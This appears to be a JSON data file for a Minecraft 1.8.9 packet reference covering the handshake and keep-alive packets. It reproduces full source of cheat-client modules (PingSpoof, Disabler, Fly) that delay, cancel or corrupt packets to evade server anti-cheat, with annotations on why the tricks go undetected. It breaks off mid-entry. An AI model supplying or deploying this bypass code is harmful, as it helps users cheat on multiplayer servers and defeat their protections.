{
 "site": "https://mc-packet-reference.netlify.app",
 "version": "1.8.9",
 "count": 105,
 "packets": [
  {
   "id": "C00Handshake",
   "hex": "0x00",
   "dec": 0,
   "dir": "SERVERBOUND",
   "state": "HANDSHAKING",
   "name": "Handshake",
   "desc": "The very first packet sent by the client. Initiates the connection and requests a protocol state transition.",
   "tags": [
    "connection",
    "handshake",
    "protocol"
   ],
   "fields": [
    {
     "name": "protocolVersion",
     "type": "VarInt",
     "desc": "Protocol version (47 for 1.8.9)"
    },
    {
     "name": "serverAddress",
     "type": "String (max 255)",
     "desc": "Hostname the client connected to"
    },
    {
     "name": "serverPort",
     "type": "unsigned short",
     "desc": "Port the client connected to"
    },
    {
     "name": "requestedState",
     "type": "VarInt",
     "desc": "1=STATUS, 2=LOGIN"
    }
   ],
   "encoding": [
    [
     "Protocol Version",
     "VarInt",
     "47 for 1.8.9"
    ],
    [
     "Server Address",
     "String",
     "Hostname or IP"
    ],
    [
     "Server Port",
     "unsigned short",
     "Big-endian uint16"
    ],
    [
     "Next State",
     "VarInt",
     "1=Status, 2=Login"
    ]
   ],
   "mcp": [
    "NetHandlerHandshakeTCP.processHandshake()",
    "NetHandlerHandshakeMemory.processHandshake()"
   ],
   "handler": "INetHandlerHandshakeServer",
   "notes": "Determines whether the connection enters STATUS or LOGIN state. Sent by GuiConnecting.java during server connection, Minecraft.java for local singleplayer, OldServerPinger.java for server list pinging, and RealmsConnect.java for Realms. The requestedState field is critical: value 1 enters STATUS (used by server pinger), value 2 enters LOGIN (used for actual gameplay).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The handshake is the first packet of every connection: a single serverbound C00PacketHandshake carrying the protocol version, the server address as a length-prefixed string, the destination port, and an int state (1 = status, 2 = login). It is sent exactly once, before any encryption, and its state field selects which protocol machine the server runs next. Nothing in the 8 reference clients constructs or intercepts it at runtime; the MCP code path that builds it lives in GuiConnecting.attemptHandshake and the integrated-server path skips it entirely."
     },
     {
      "h": "Why clients do not touch it",
      "p": "grep of all 8 reference sources (Memeware 7.3, Nekoware v1 private, Rise 5.99, Rise 6.1.30, Rise 6.2.4, Sigma 4.11, Spicy, Tenacity 6.0) returns zero module references to C00PacketHandshake. The reasons are structural: it is sent once before the game world exists, so there is no per-tick module hook active; the vanilla client builds it from GuiConnecting state that modules never influence; and the server trusts its fields for routing only. The one place clients historically touch it is a server-list pinger spoofing protocol version 1 (or 0) to enumerate servers, which these 8 clients do not implement."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerHandshakeTCP.processHandshake reads the state int. State 1 routes the connection to the status handler (NetHandlerStatusServer), state 2 to the login handler (NetHandlerLoginServer). Mojang's version of the packet also carries a second address string (the 'hostname the client thinks it is connecting to'), which proxies and BungeeCord-style setups use for server routing. The server compares the protocol version against its own and answers with a disconnect or LoginDisconnect if the client is too old or too new."
     },
     {
      "h": "Exploit surface",
      "p": "Because the packet is unencrypted and fully client-controlled, its real abuse is server-side: protocol-version lying (clients claiming an older version than they speak), hostname injection for proxy routing, and state-flip confusion (sending state 1 then 2) which some anti-bot plugins used to fingerprint scanners. For a client cheat, the packet is a dead end: no timing, no per-tick value, no server-side math to abuse. This is why every one of the 8 clients leaves it to vanilla."
     }
    ],
    "overview": "The one-shot connection preamble: protocol version, hostname, port, and target state. None of the 8 reference clients touch it at runtime, because it is sent once before any module hook exists and carries no per-tick state to exploit.",
    "server_handling": "NetHandlerHandshakeTCP.processHandshake validates the protocol version against the server's registered versions and selects the next state machine from the state int (1 = status, 2 = login). A mismatched version produces an immediate disconnect (S00PacketDisconnect in login state) or a protocol-error kick. The embedded hostname is used by proxy frontends to route the connection; vanilla singleplayer and most offline servers ignore it.",
    "protocol_notes": "Wire format: VarInt protocol version, String server address (VarInt length prefix), Unsigned Short port, VarInt next state. Sent over an unencrypted, uncompressed channel. The 1.8.9 protocol version is 47. After this packet the connection switches state machines, and the next serverbound packet must match the chosen state.",
    "anticheat_landscape": "Anti-cheats almost never inspect the handshake because it arrives before the play state and before any player entity exists. The relevant detection is proxy/ban management: plugins (AntiVPN, server-list bots) fingerprint scanners by protocol-version lies or by abnormal status-then-login sequences. None of the 8 clients participate in that game.",
    "modules": [],
    "related": [
     "C00PacketLoginStart",
     "C00PacketServerQuery",
     "S00PacketServerInfo"
    ],
    "anticheat": {
     "overview": "The handshake is the first packet on the connection and arrives before any anticheat pipeline exists, so no check in the corpus runs on it. The corpus hits are keyword noise from the proxy and Bungee search terms: chat-component imports, proxy registries and config flags. The only real processing is at the packet-library level, where Artemis decodes GPacketHandshakeClientSetProtocol in ArtemisDecoder.handleHandshake and routes the next-state field into the player profile, and Negativity intercepts PacketType.Handshake.IS_SET_PROTOCOL in its channel inbound handler. Both are infrastructure that establishes protocol state, not checks.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The vanilla server does not use the Server Address or Server Port fields for anything; they exist for proxies and server routing, so address spoofing only matters on BungeeCord-style setups.",
    "By convention a client pinging only to determine the server version should send protocol version -1 in the handshake.",
    "The handshake should be sent immediately after opening the TCP connection or the server may disconnect, and servers should also still accept the legacy 0xFE server list ping which uses a nonstandard non-length-prefixed format.",
    "MCP 1.8.9 C00Handshake implements Packet<INetHandlerHandshakeServer> dispatching to INetHandlerHandshakeServer.processHandshake; wire serde is readPacketData/writePacketData via readStringFromBuffer, readUnsignedShort, readVarIntFromBuffer.",
    "1.8.9 callers: Minecraft.? sends new C00Handshake (line 2338) +4 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/Minecraft.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C00Handshake/",
   "mcp_path": "net/minecraft/network/handshake/client/C00Handshake.java",
   "group": "handshaking",
   "logic_classes": [
    "OldServerPinger",
    "Minecraft"
   ]
  },
  {
   "id": "C00PacketKeepAlive",
   "hex": "0x00",
   "dec": 0,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Keep Alive (Response)",
   "desc": "Response to S00PacketKeepAlive. The client echoes back the server's keep-alive ID.",
   "tags": [
    "connection",
    "player"
   ],
   "fields": [
    {
     "name": "key",
     "type": "int",
     "desc": "The keep-alive ID received from the server"
    }
   ],
   "encoding": [
    [
     "Keep Alive ID",
     "int",
     "Echoed from S00PacketKeepAlive"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processKeepAlive()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "If the client doesn't respond within ~30 seconds, the server will disconnect them.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Keepalive is the protocol's liveness and latency probe. The server sends S00PacketKeepAlive with a monotonically increasing key (server tick-based), the client must echo it back as C00PacketKeepAlive with the same key. NetHandlerPlayServer.processKeepAlive compares the echoed key to the stored field_147378_h and folds the round-trip time into the player's ping EMA: ping = (ping * 3 + delta) / 4. It is the only packet in the play state whose sole purpose is timing, which makes it the backbone of ping spoofing, disconnect-detection, and timer-based disabler modes."
     },
     {
      "h": "Vanilla handling",
      "p": "Client side, NetHandlerPlayClient.handleKeepAlive immediately echoes: `this.addToSendQueue(new C00PacketKeepAlive(packetIn.func_149134_c()));`. Server side, processKeepAlive is a pure timing check: if the key matches, it recomputes ping; otherwise it silently ignores. Note there is no per-connection timeout in vanilla 1.8.9 server code for a missing keepalive response; timeouts are enforced by the network layer (read timeout) or by anti-cheat plugins. This asymmetry is exactly what ping-spoof modules exploit."
     },
     {
      "h": "Why clients touch it",
      "p": "The 8 clients show three distinct families. (1) Ping spoofers (Rise 5.99 PingSpoof, Rise 6.x PingSpoofComponent, Sigma 4.11 PingSpoof, Spicy PingSpoof) buffer the packet and release it late. (2) Disablers (Memeware 7.3 Disabler, Sigma 4.11 Disabler, Rise 6.x KeepAliveDisabler/DynamicPVPDisabler/LunarDisabler/Verus2Disabler, Spicy Disabler, Tenacity 6.0 AdvancedDisablerModule) cancel or mutate the key to break server-side timing heuristics on specific anti-cheats. (3) Movement modules that need to reset the server-side timer or cancel all stateful packets (Nekoware v1 Fly, Spicy Bhop/BackupFly/Fly, Rise 5.99 Fly/LongJump/Speed, Sigma Blink, Spicy Blink, Rise BlinkAntiVoid/WatchdogAntiVoid)."
     },
     {
      "h": "Exploit surface",
      "p": "Delaying the echo inflates the server's measured ping. Mutating the key (Memeware's Mineplex Combat mode subtracts a random 3..127 from the key) makes the server's key comparison fail, so the ping EMA is never updated, freezing the displayed ping and confusing plugins that use keepalive gaps to estimate lag or detect timer. Cancelling keepalive outright is the crude version: safe only while the server has no keepalive timeout, which is why disabler modes pair the cancel with periodic re-sends (Sigma's Erisium mode re-sends lastKey every 1500 ms)."
     }
    ],
    "overview": "The timing backbone of the play state: server sends S00 with a key, client echoes it, server folds round-trip into a ping EMA. Ping spoofers delay the echo, disablers cancel or corrupt the key, and a surprising number of movement modules (Fly, Bhop, Blink) cancel it as collateral when they need to stop all stateful traffic.",
    "server_handling": "NetHandlerPlayServer.processKeepAlive (line ~1015 in the bundled 1.8.9 sources): if packetIn.getKey() == field_147378_h, ping = (ping * 3 + (now - lastPingTime)) / 4. No response to a wrong or missing key: the packet is simply ignored. The client handler echoes unconditionally. Because wrong keys are silently dropped, mutating the key is undetectable from the packet stream alone: the server just never updates ping.",
    "protocol_notes": "Serverbound C00 and clientbound S00 share the same int key field (writeVarIntToBuffer / readVarIntFromBuffer in 1.8.9 MCP; the key is a plain int). S00 is sent roughly every second of play time (server tick counter). C00 must be sent on the same connection before the next S00 for the ping EMA to converge. In practice modules intercept C00 in PacketSendEvent and S00 in PacketReceiveEvent.",
    "anticheat_landscape": "NCP and AAC track keepalive timing to distinguish real latency from timer abuse; a frozen or wildly inflated ping is a classic timer/fly flag. Verus-era servers (the Rise 6.x Verus2Disabler, Memeware's 'Latest Verus' mode) correlate keepalive gaps with transaction (C0F) gaps, so disablers buffer C00 and C0F together and flush them together after a fixed delay. The risk trade-off: pure delay is stealthy but does nothing against servers that timeout dead connections; cancellation is strong but requires knowing the server has no keepalive timeout.",
    "modules": [
     {
      "name": "PingSpoof",
      "found_in": [
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Spicy",
       "LiquidSense Dev"
      ],
      "purpose": "Inflate the player's measured ping by delaying keepalive (and transaction) echoes.",
      "how_it_works": "Intercept S00 on receive; on the send side, cancel C00 (and usually C0F) and park it in a map keyed by release timestamp; on each pre-motion tick, flush entries whose delay has elapsed via sendPacket (bypassing the event bus).",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/PingSpoof.java =====\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.player.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n@ModuleInfo(name = \"PingSpoof\", description = \"Makes your ping higher for the server\", category = Category.OTHER)\npublic final class PingSpoof extends Module {\n\n    private final NumberSetting delay = new NumberSetting(\"Delay\", this, 1000, 10, 30000, 1);\n\n    private final ConcurrentHashMap<Packet<?>, Long> packets = new ConcurrentHashMap<>();\n\n    private final TimeUtil timer = new TimeUtil();\n\n    @Override\n    protected void onDisable() {\n        packets.clear();\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        if (mc.isSingleplayer()) return;\n\n        packets.clear();\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.isSingleplayer())\n            return;\n\n        for (final Iterator<Map.Entry<Packet<?>, Long>> iterator = packets.entrySet().iterator(); iterator.hasNext(); ) {\n            final Map.Entry<Packet<?>, Long> entry = iterator.next();\n\n            if (entry.getValue() < System.currentTimeMillis()) {\n                PacketUtil.sendPacket(entry.getKey());\n                iterator.remove();\n            }\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (mc.isSingleplayer())\n            return;\n\n        if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n            timer.reset();\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (mc.isSingleplayer())\n            return;\n\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C0FPacketConfirmTransaction || p instanceof C00PacketKeepAlive) {\n            packets.put(p, (long) (System.currentTimeMillis() + delay.getValue()));\n            event.setCancelled(true);\n        }\n    }\n}\n// NOTE (AI): The entire PingSpoof module: buffers C0F and C00 in a ConcurrentHashMap\n// keyed by release time, cancels them on PacketSendEvent, and flushes via\n// PacketUtil.sendPacket (event-bus bypass) on each PreMotion tick.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/PingSpoof.java",
      "vanilla_hook": "PacketSendEvent (cancel + park), PreMotionEvent (flush), PacketReceiveEvent (S08 resets the timer).",
      "anti_cheat_notes": "Pure delay is low-risk: the server only sees late echoes. Pairing C0F with C00 keeps transaction order consistent, which matters because modern anti-cheats correlate the two gaps.",
      "variations": "Sigma 4.11 and Spicy implement the same buffer-and-release pattern on their own event buses. Rise 6.x moves this into PingSpoofComponent used by both 6.1.30 and 6.2.4. LiquidSense Dev's PingSpoof parks C00 and C0F together in a packetsMap with a random MinDelay/MaxDelay release time and flushes through addToSendQueue from an ignoreCondition UpdateEvent, skipping buffering while the player is dead or below one health."
     },
     {
      "name": "Disabler",
      "found_in": [
       "Memeware 7.3",
       "Sigma 4.11",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Spicy",
       "Tenacity 6.0",
       "LiquidSense Dev"
      ],
      "purpose": "Break anti-cheat timing heuristics that use keepalive as a latency reference.",
      "how_it_works": "Mode-dependent: cancel the echo entirely, corrupt the key so the server silently drops it, or re-send a stale key on a timer. Memeware's Mineplex Combat mode corrupts; Sigma's Faithful/Erisium/SagePvP/ColdNetwork modes cancel and Erisium re-sends lastKey every 1500 ms; Rise 6.x splits this into KeepAliveDisabler, DynamicPVPDisabler, LunarDisabler and Verus2Disabler, each tuned to a server family.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/exploit/Disabler.java =====\npackage me.memewaredevs.client.module.exploit;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.PacketInEvent;\nimport me.memewaredevs.client.event.events.PacketOutEvent;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.ChatUtil;\nimport me.memewaredevs.client.util.misc.Timer;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S2APacketParticles;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.function.Consumer;\n\npublic class Disabler extends Module {\n\n    private static final int VERUS_DISABLE_AUTOBAN_CHANNEL = 65536;\n    private static final short VERUS_DISABLE_AUTOBAN_UID = 32767;\n    private final Queue<Packet> packetQueue = new ConcurrentLinkedQueue();\n    private final Timer timer = new Timer();\n    private final Timer timer1 = new Timer();\n\n    public Disabler(final String name, final int key, final Module.Category category) {\n        super(name, key, category);\n        this.addModes(\"Mineplex Combat\", \"Transaction\", \"Latest Verus\", \"PvPTemple\", \"OmegaCraft\", \"Timer\", \"AACv1.9.10\", \"Sloth\", \"Ghostly\", \"Watchdog\", \"Faithful Movement\");\n    }\n\n    @Override\n    public void onDisable() {\n        packetQueue.clear();\n    }\n\n    @Override\n    public void onEnable() {\n        timer.reset();\n    }\n\n    @Handler\n    public Consumer<PacketInEvent> packetInEventConsumer = (event) -> {\n        if (isMode(\"Sloth\")) {\n            if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n                S08PacketPlayerPosLook playerPosLook = (S08PacketPlayerPosLook) event.getPacket();\n                /**\n                 * Works alongside with the spigot exploit.\n                 * Exploit PlayerData bug (Player data gets set to null if the previous event is cancelled, and y difference <= 1.0E-4)\n                 */\n                playerPosLook.y += 1.0E-4;\n            }\n        }\n    };\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer = (event) -> {\n        if (isMode(\"Latest Verus\")) {\n            if (timer.delay(490L)) {\n                if (!packetQueue.isEmpty()) {\n                    PacketUtil.sendPacketSilent(packetQueue.poll());\n                }\n                timer.reset();\n            }\n        }\n\n        if (isMode(\"OmegaCraft\")) {\n            PacketUtil.sendPacketSilent(new C0FPacketConfirmTransaction(VERUS_DISABLE_AUTOBAN_CHANNEL, VERUS_DISABLE_AUTOBAN_UID, true));\n        }\n\n        if (isMode(\"PvPTemple\")) { // Added by Auth\n            event.setGround(false);\n            event.setY(event.getY() + 0.42);\n            event.setYaw(0);\n            event.setPitch(0);\n        }\n\n        if (isMode(\"Watchdog\")) {\n            if (timer.delay(15000L)) {\n                if (!packetQueue.isEmpty()) {\n                    PacketUtil.sendPacketSilent(packetQueue.poll());\n                }\n                timer.reset();\n            }\n        }\n\n    };\n\n    @Handler\n    public Consumer<PacketInEvent> eventConsumer0 = (event) -> {\n        if (event.getPacket() instanceof S2APacketParticles) {\n            event.cancel();\n        }\n    };\n\n    @Handler\n    public Consumer<PacketOutEvent> eventConsumer1 = (event) -> {\n\n        if (isMode(\"Mineplex Combat\"))\n            if (event.getPacket() instanceof C00PacketKeepAlive) {\n                C00PacketKeepAlive packetKeepAlive = (C00PacketKeepAlive) event.getPacket();\n                packetKeepAlive.key -= RandomUtils.nextInt(3, 128);\n            }\n\n        if (isMode(\"OmegaCraft\"))\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction)\n                event.cancel();\n\n        if (isMode(\"Latest Verus\")) {\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n                C0FPacketConfirmTransaction c0fPacketConfirmTransaction = (C0FPacketConfirmTransaction) event.getPacket();\n                packetQueue.add(c0fPacketConfirmTransaction);\n                event.cancel();\n            }\n\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                C03PacketPlayer c03 = (C03PacketPlayer) event.getPacket();\n                if (mc.thePlayer.ticksExisted % 33 == 0) {\n                    c03.y = -0.911;\n                    c03.onGround = false;\n                    c03.field_149480_h = false;\n                }\n            }\n\n            if (mc.thePlayer != null && mc.thePlayer.ticksExisted <= 7) {\n                timer.reset();\n                packetQueue.clear();\n            }\n        }\n\n        if (isMode(\"Timer\") && event.getPacket() instanceof C03PacketPlayer) {\n            if (mc.thePlayer.ticksExisted % 3 != 0) {\n                event.cancel();\n            }\n        }\n        if (isMode(\"AACv1.9.10\")) {\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                PacketUtil.sendPacketSilent(new C0CPacketInput());\n                C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                /**\n                 * Resets all checks VL due to a bug in critical hit check\n                 */\n                packetPlayer.y += 7.0E-9D;\n            }\n        }\n\n        if (isMode(\"Sloth\")) {\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                if (!timer.delay(1000L)) {\n                    for (int i = 0; i < 10; ++i) {\n                        double y = i > 2 && i < 8 ? 11 : 120;\n                        PacketUtil.sendPacketSilent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - y, mc.thePlayer.posZ, true));\n                    }\n                } else {\n                    //set to default jump value so viper can stop fucking value patching it\n                    packetPlayer.y += 0.42F;\n                }\n            }\n        }\n        if (isMode(\"Faithful Movement\")) {\n            if (mc.thePlayer != null && event.getPacket() instanceof C00PacketKeepAlive) {\n                C00PacketKeepAlive packetKeepAlive = (C00PacketKeepAlive) event.getPacket();\n                packetKeepAlive.key -= 31;\n            }\n        }\n\n\n        if (isMode(\"Ghostly\")) { // Ghostly Disabler added by Auth\n            if (event.getPacket() instanceof C03PacketPlayer)\n                PacketUtil.sendPacketSilent(new C0CPacketInput());\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction)\n                event.cancel();\n        }\n        if (isMode(\"Watchdog\")) {\n//            PacketUtil.sendPacketSilent(new C0EPacketClickWindow());\n            if (mc.getCurrentServerData().serverIP.contains(\"hypixel.net\")) {\n                if (mc.thePlayer.ticksExisted % 30 == 0) {\n                    PlayerCapabilities pc = new PlayerCapabilities();\n                    pc.isFlying = true;\n                    pc.setFlySpeed(Float.NaN);\n                    PacketUtil.sendPacketSilent(new C13PacketPlayerAbilities(pc));\n                }\n                System.out.println(event.getPacket());\n                if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n                    event.setPacket(new C0FPacketConfirmTransaction(Integer.MIN_VALUE, Short.MAX_VALUE, true));\n                }\n            } else {\n                ChatUtil.printChat(\"You must be on Hypixel to use Watchdog Disabler!\");\n                this.toggle();\n            }\n        }\n    };\n}\n// NOTE (AI): Keepalive handling is in eventConsumer1, Mineplex Combat mode: the key is\n// mutated by a random 3..127 offset so NetHandlerPlayServer's key comparison\n// fails and the ping EMA is never updated. The Watchdog mode instead queues\n// packets and flushes them every 15s to look like a laggy connection.",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/exploit/Disabler.java",
      "vanilla_hook": "PacketOutEvent (cancel or mutate the live packet object).",
      "anti_cheat_notes": "Key corruption is stealthier than cancellation because the server's response is identical to a dropped packet: ping just stops updating. The random 3..127 offset keeps the mutation from looking like a fixed-value spoof.",
      "variations": "Sigma 4.11 (Faithful/Erisium/SagePvP/ColdNetwork modes), Tenacity 6.0 AdvancedDisablerModule, and the Rise 6.x per-server disabler suite (KeepAliveDisabler, DynamicPVPDisabler, LunarDisabler, Verus2Disabler). LiquidSense Dev's Disabler keeps separate queues for C00 and C0F, cancels them on PacketEvent, and re-sends spoofed keepalives with an incremented keepAliveId on a randomized C00-Base delay while the watchdog sequence runs."
     },
     {
      "name": "Fly (timer reset)",
      "found_in": [
       "Nekoware v1 private",
       "Rise 5.99",
       "Spicy"
      ],
      "purpose": "Cancel keepalive as collateral when a movement exploit needs to stop all stateful serverbound traffic.",
      "how_it_works": "Movement modules that spoof position or use damage tricks cancel every packet the server treats as stateful (C0F, C00) and reset their own timer. Nekoware v1's Fly cancels C0FPacketConfirmTransaction and C00PacketKeepAlive together; the point is not ping spoofing but keeping the server's view of the player frozen while the client replays position packets.",
      "detailed_code": "// ===== FILE: Nekoware v1 private, me/nekoWare/client/module/movement/Fly.java =====\npackage me.nekoWare.client.module.movement;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.nekoWare.client.event.events.EventCollide;\nimport me.nekoWare.client.event.events.MovementEvent;\nimport me.nekoWare.client.event.events.PacketOutEvent;\nimport me.nekoWare.client.event.events.UpdateEvent;\nimport me.nekoWare.client.module.Module;\nimport me.nekoWare.client.util.blocks.misc.BlockUtil;\nimport me.nekoWare.client.util.misc.Timer;\nimport me.nekoWare.client.util.movement.MovementUtils;\nimport me.nekoWare.client.util.packet.PacketUtil;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C18PacketSpectate;\nimport net.minecraft.util.AxisAlignedBB;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MovementInput;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.function.Consumer;\n\npublic class Fly extends Module {\n\n    private Timer timer = new Timer();\n\n    private double y;\n\n    public Fly() {\n        super(\"Fly\", 34, Module.Category.MOVEMENT);\n        this.addDouble(\"Speed\", 2.5, 0.1, 5.0);\n        this.addModes(\"Vanilla\", \"Damage\", \"Verus\");\n        this.addBoolean(\"Anti-Kick\", false);\n    }\n\n    @Handler\n    public Consumer<MovementEvent> eventConsumer0 = event -> {\n\n    };\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer1 = (event) -> {\n\n        if (isMode(\"Vanilla\")) {\n            mc.timer.timerSpeed = 1f;\n            if (event.isPre()) {\n                float speed = getDouble(\"Speed\").floatValue();\n                MovementInput movementInput = mc.thePlayer.movementInput;\n                mc.thePlayer.motionY = movementInput.isJumping() ? speed * 0.5F\n                        : movementInput.isSneaking() ? -speed * 0.5F\n                        : 0.0F;\n                MovementUtils.setMoveSpeed(speed);\n                if (getBool(\"Anti-Kick\") && timer.delay(700.0f)) {\n                    MovementUtils.fallPacket();\n                    MovementUtils.ascendPacket();\n                    timer.reset();\n                }\n            }\n        }\n        \n        if (isMode(\"Damage\")) {\n        \t\n        \t\n            mc.timer.timerSpeed = 1f;\n\t\t\tif (event.isPre()) {\n\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C0CPacketInput());\n\t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer(true));\n\t\t\t\tmc.thePlayer.onGround = false;\n\t\t\t\tfloat speed = getDouble(\"Speed\").floatValue();\n\t\t\t\tMovementInput movementInput = mc.thePlayer.movementInput;\n\t\t\t\tmc.thePlayer.motionY = movementInput.isJumping() ? speed * 0.5F\n\t\t\t\t\t\t: movementInput.isSneaking() ? -speed * 0.5F : 0.0F;\n\t\t\t\tMovementUtils.setMoveSpeed(speed);\n\t\t\t}\n        }\n        \n        if (isMode(\"Verus\")) {\n        \t\n\n        \tmc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.5, mc.thePlayer.posZ), 1, new ItemStack(Blocks.stone.getItem(mc.theWorld, new BlockPos(-1, -1, -1))), 0, 0.94f, 0));\n            MovementUtils.setMoveSpeed(0.36);\n            mc.timer.timerSpeed = 1f;\n\n\n\n            if (y >= 11) {\n                y = 0;\n            }\n\n            y++;\n\n    mc.thePlayer.motionY = 0f;\n        }\n    };\n\n    @Handler\n    public Consumer<PacketOutEvent> eventConsumer11 = (event) -> {\n        if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n            event.cancel();\n\n            timer.reset();\n        }\n        \n        if (event.getPacket() instanceof C00PacketKeepAlive) {\n            event.cancel();\n\n            timer.reset();\n        }\n    };\n\n    @Override\n    public void onEnable() {\nif(this.isMode(\"Damage\")) {\n    \tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY + 3.05, mc.thePlayer.posZ, false));\n\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY, mc.thePlayer.posZ, false));\n\t\tmc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n\t\t\t\tmc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, true));\n\t\tmc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.5, mc.thePlayer.posZ);\n\t\t}\n    }\n\n    @Override\n    public void onDisable() {\n\n    \tMovementUtils.setMoveSpeed(0);\n    \t\n    }\n}\n// NOTE (AI): eventConsumer11 cancels C0F and C00 together and resets the module timer.\n// This is a movement-exploit pattern: keepalive is collateral damage, not the\n// target; the server-side player view stays frozen while position packets\n// are replayed for the damage/fly trick.",
      "code_source": "Nekoware v1 private, me/nekoWare/client/module/movement/Fly.java",
      "vanilla_hook": "PacketOutEvent.",
      "anti_cheat_notes": "Blunt but effective on servers without keepalive timeouts. The visible side effect is a frozen ping on the tab list, which staff can notice.",
      "variations": "Spicy's BackupFly, Bhop, Fly, AutoLog and Blink all reference C00PacketKeepAlive with the same cancel pattern; Rise 5.99's Fly, LongJump, Speed, Freecam and BlinkAntiVoid touch it via their own packet handlers."
     },
     {
      "name": "Blink / AntiVoid",
      "found_in": [
       "Sigma 4.11",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Spicy"
      ],
      "purpose": "Buffer-and-release: keepalive is one of the packet types held while the client 'blinks' (stays frozen server-side).",
      "how_it_works": "Blink cancels all serverbound packets including C00 while enabled, then releases them in order on disable. AntiVoid variants (Rise 6.x BlinkAntiVoid, WatchdogAntiVoid) do the same but release early if the player would fall into the void. The keepalive is included so the server keeps receiving a steady stream when the blink window is short.",
      "detailed_code": null,
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/player/Blink.java; Spicy, modules/movement/Blink.java",
      "vanilla_hook": "PacketSendEvent / custom packet event.",
      "anti_cheat_notes": "Long blink windows flag on every serious anti-cheat; the keepalive handling here is incidental, not the point of the module.",
      "variations": "Rise 6.x implements it as BlinkComponent used by Blink, BlinkAntiVoid and WatchdogAntiVoid in both 6.1.30 and 6.2.4."
     },
     {
      "name": "Fly (keepalive mode)",
      "found_in": [
       "LiquidSense Dev"
      ],
